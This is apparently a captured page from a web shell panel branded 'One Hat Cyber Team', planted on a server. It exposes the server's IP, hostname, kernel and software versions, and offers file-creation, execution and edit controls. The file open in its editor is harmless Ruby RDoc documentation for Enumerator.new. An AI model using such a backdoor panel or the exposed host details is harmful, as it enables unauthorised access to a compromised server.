⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.13
Server IP:
109.199.105.153
Server:
Linux connect.inboxifs.com 5.15.0-152-generic #162-Ubuntu SMP Wed Jul 23 09:48:42 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Enumerator
/
Edit File: new-c.ri
U:RDoc::AnyMethod[iI"new:ETI"Enumerator::new;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I">Creates a new Enumerator object, which can be used as an ;TI"Enumerable.;To:RDoc::Markup::BlankLine o; ; [I"1Iteration is defined by the given block, in ;TI"Hwhich a "yielder" object, given as block parameter, can be used to ;TI"Nyield a value by calling the +yield+ method (aliased as <code><<</code>):;T@o:RDoc::Markup::Verbatim; [I"!fib = Enumerator.new do |y| ;TI" a = b = 1 ;TI" loop do ;TI" y << a ;TI" a, b = b, a + b ;TI" end ;TI" end ;TI" ;TI":fib.take(10) # => [1, 1, 2, 3, 5, 8, 13, 21, 34, 55] ;T:@format0o; ; [I"MThe optional parameter can be used to specify how to calculate the size ;TI"Jin a lazy fashion (see Enumerator#size). It can either be a value or ;TI"a callable object.;T: @fileI"enumerator.c;T:0@omit_headings_from_table_of_contents_below0I"2Enumerator.new(size = nil) { |yielder| ... } ;T0[ I"(*args);T@%FI"Enumerator;TcRDoc::NormalClass00
Simpan